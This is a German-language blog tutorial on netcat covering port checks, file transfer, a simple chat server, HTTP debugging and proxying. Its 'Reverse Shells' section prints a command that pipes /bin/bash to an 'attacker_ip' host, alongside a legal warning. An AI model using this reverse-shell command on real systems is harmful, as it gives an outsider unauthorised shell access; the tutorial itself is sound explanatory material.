netcat

7. Juli 2025

Netcat ist eines dieser Tools, die jeder Entwickler und Sysadmin kennen sollte. Ich kenne es auch erst seit ein paar Tagen, aber bin beeindruckt, für was ein so simples Tool verwendet werden kann.

Was ist Netcat?

Netcat (oder kurz nc) ist ein simples Command-Line-Tool, das TCP/UDP-Verbindungen aufbauen, lauschen und Daten übertragen kann. Damit lassen sich zahlreiche Dinge erledigen – von schnellen Port-Checks bis hin zu improvisierten Chat-Servern.

Installation

Die meisten Linux-Distributionen haben netcat bereits installiert. Auf macOS bekommst du es über Homebrew:

brew install netcat

Windows-User können es über WSL nutzen oder eine Windows-Version runterladen. Alternativ die Installation mit winget:

winget install Insecure.Nmap

Auch wenn es verwirrend ist, aber netcat ist hier Teil von nmap, wird aber anstatt mit nc mit ncat gestartet.

Ein paar Basics

Der einfachste Use Case ist das Checken, ob ein Port offen ist:

# Ist Port 80 auf example.com offen?
nc -zv example.com 80

# Port-Range scannen
nc -zv example.com 20-25

Das -z Flag macht einen Zero-I/O-Scan (keine Daten senden), -v für verbose Output.

File-Transfer

Dateien lassen sich mit Netcat einfach von A nach B übertragen, ohne SSH oder FTP einzurichten:

Schritt 1: Empfänger vorbereiten

# Auf dem Ziel-System (wo die Datei ankommen soll)
nc -l -p 1234 > received_file.txt

Hier passiert folgendes:

  • -l startet den Listen-Mode (netcat wartet auf Verbindungen)
  • -p 1234 definiert Port 1234 als Listening-Port
  • > received_file.txt leitet alles, was ankommt, in diese Datei um

Schritt 2: Datei senden

# Auf dem Quell-System (wo die Datei liegt)
nc target_ip 1234 < file_to_send.txt

Das macht Folgendes:

  • Verbindet sich zu target_ip auf Port 1234
  • < file_to_send.txt liest die Datei und schickt den Inhalt über die Verbindung

Wichtig: Zuerst sollte der Empfänger gestartet werden, anschließend der Sender. Andernfalls läuft der Sender ins Leere.

Praktisches Beispiel:

# Server (IP: 192.168.1.100)
nc -l -p 5555 > backup.sql

# Client
nc 192.168.1.100 5555 < database_dump.sql

Tada, fertig. Kein Setup, keine Authentifizierung, einfach nur Daten-Transfer. Ist natürlich komplett unverschlüsselt, also nur für interne Netzwerke verwenden!

Simple Chat-Server

Für schnelle Team-Kommunikation ohne Internet:

Server:

nc -l -p 1234

Client:

nc server_ip 1234

Jetzt könnt ihr euch Nachrichten schicken, aber wie schon zuvor, auch hier unverschlüsselt.

Web-Server-Debugging

Absetzenv von raw HTTP-Requests und Responses analysieren:

# HTTP-Request manuell bauen
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

Dies ist hilfreich, um genau nachzuvollziehen, was zwischen Client und Server passiert.

Reverse Shells

Netcat kann auch Reverse Shells erstellen. Das ist ein mächtiges Feature, aber auch gefährlich:

# Listener aufsetzen
nc -l -p 1234

# Von anderem System verbinden und Shell weiterleiten
nc attacker_ip 1234 -e /bin/bash

Legale Hinweise: Reverse Shells sollten nur in kontrollierten Umgebungen für Testzwecke genützt werden! Die Verwendung darf weiters nur auf eigenen Systemen oder Systemen, für die man die Zustimmung des Eigentümers hat, gemacht werden.

Proxying und Relaying

netcat kann auch als simpler Proxy verwendet werden:

# Traffic von Port 8080 zu example.com:80 weiterleiten
mkfifo backpipe
nc -l -p 8080 0<backpipe | nc example.com 80 1>backpipe

Nützliche Flags im Überblick

  • -l: Listen-Mode (Server)
  • -n: keine DNS-Namensauflösung; IP direkt verwenden
  • -p: Port angeben
  • -v: Verbose Output
  • -z: Zero-I/O-Mode (nur Connection-Test)
  • -u: UDP statt TCP verwenden
  • -w: Timeout setzen
  • -k: Keep-Alive für mehrere Connections

Praktische Beispiele

Database-Connection testen

# MySQL-Port checken
nc -zv mysql-server 3306

Load-Balancer-Debugging

# Mehrere Requests um Round-Robin zu testen
for i in {1..10}; do echo "Request $i" | nc lb-server 80; done

Application-Level Latency messen

# TCP-Latency zu einem spezifischen Service messen
time echo "HEAD / HTTP/1.0\r\n\r\n" | nc web-server 80

Das ist anders als ping (ICMP), weil du hier die echte TCP-Verbindungszeit zu einem spezifischen Port misst. Praktisch, wenn ICMP geblockt ist oder du die Latency zu einem konkreten Service brauchst.

Fazit

Netcat ist ein Tool, das im Alltag vielleicht nicht ständig benötigt wird, aber in bestimmten Situationen äußerst hilfreich sein kann.

Das Besondere an Netcat: Es ist simpel, macht genau das, was es soll, und ist nahezu überall verfügbar. Besonders geeignet für Momente, in denen beispielsweise schnell überprüft werden muss, ob ein Port offen ist oder eine Datei übertragen werden soll.